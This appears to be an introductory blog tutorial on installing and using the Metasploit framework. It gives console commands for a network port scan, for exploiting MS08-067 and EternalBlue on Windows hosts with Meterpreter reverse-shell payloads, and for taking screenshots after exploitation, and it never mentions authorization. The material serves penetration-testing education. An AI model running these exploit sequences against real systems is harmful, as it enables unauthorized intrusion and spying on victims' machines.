Exploring Metasploit: Installation and Usage
What is Metasploit?
Metasploit is an open-source framework that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. In this blog post, we’ll explore how to install it on various operating systems, and how to use it with some practical examples.
Installing Metasploit
On Linux (Kali Linux, Ubuntu, Debian):
Update your system:
sudo apt update && sudo apt upgrade -y
Install Metasploit:
sudo apt install metasploit-framework
On CentOS/RHEL:
Enable the EPEL repository:
sudo yum install epel-release
Install Metasploit:
sudo yum install metasploit
On macOS:
Install Homebrew (if not already installed):
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
Install Metasploit:
brew install metasploit
On Windows:
Download the Metasploit installer from the official Metasploit website.
Run the installer and follow the on-screen instructions to complete the installation.
Using Metasploit
Once installed, you can start using Metasploit to perform various penetration testing tasks. Here are some basic examples:
1. Starting Metasploit:
Open a terminal (or Command Prompt on Windows) and start the Metasploit console:
msfconsole
2. Scanning for Vulnerabilities:
Use the auxiliary/scanner/portscan/tcp
module to perform a TCP port scan:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
run
3. Exploiting a Vulnerability:
Use the exploit/windows/smb/ms08_067_netapi
module to exploit a known vulnerability in Windows:
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
run
4. Post-Exploitation:
Once you have a Meterpreter session, you can perform various post-exploitation tasks. For example, to capture a screenshot:
screenshot
Examples of Usage
Example 1: Scanning for Open Ports
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
run
This command scans the specified network range for open TCP ports.
Example 2: Exploiting a Vulnerability
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.101
run
This command exploits the EternalBlue vulnerability on a target Windows machine.
Example 3: Post-Exploitation
screenshot
This command captures a screenshot of the target machine’s desktop.
Pros and Cons of Metasploit
Pros:
Comprehensive: Includes a vast database of exploits and payloads.
Extensible: Supports custom modules and scripts.
User-Friendly: Provides a powerful command-line interface and a graphical interface (Armitage).
Community Support: Strong community and extensive documentation.
Cons:
Complexity: Can be overwhelming for beginners due to its extensive features.
Detection: Activities can be detected by intrusion detection systems (IDS).
Resource-Intensive: Can be resource-intensive, especially during large-scale scans.
Conclusion
Metasploit is an essential tool for penetration testers and security professionals. Its powerful features and extensive database make it a go-to solution for identifying and exploiting vulnerabilities.